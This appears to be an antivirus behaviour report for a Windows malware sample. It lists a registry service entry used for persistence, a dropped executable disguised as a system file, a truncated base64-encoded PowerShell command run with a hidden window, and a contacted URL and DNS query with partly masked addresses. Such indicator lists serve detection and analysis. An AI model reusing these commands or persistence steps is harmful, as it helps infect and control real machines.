Technical Information
- [<HKLM>\System\CurrentControlSet\Services\rasadhlp] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rasadhlp] 'ImagePath' = '"<SYSTEM32>\FntCache\rasadhlp.exe"'
- 'rasadhlp' "<SYSTEM32>\FntCache\rasadhlp.exe"
- 'rasadhlp' <SYSTEM32>\FntCache\rasadhlp.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...
- %TEMP%\word\2019\o1jp0j.exe
- <SYSTEM32>\fntcache\rasadhlp.exe
- from %TEMP%\word\2019\o1jp0j.exe to <SYSTEM32>\fntcache\rasadhlp.exe
- '17#.#1.208.86':80
- http://17#.#1.208.86/s6zKGyQ5jfJ73T6fn/OhxvfvrvJ5ZhUxy8/
- DNS ASK da###roque.com
- '%TEMP%\word\2019\o1jp0j.exe'
- '<SYSTEM32>\fntcache\rasadhlp.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABBAHUAagAwAHAAYgBtAD0AKAAnAE8AJwArACgAJwA2AGwAOQAnACsAJwAyAGYAYwAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUATgB2ADoAVABlAG0AcABcAFcATwBSAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG...' (with hidden window)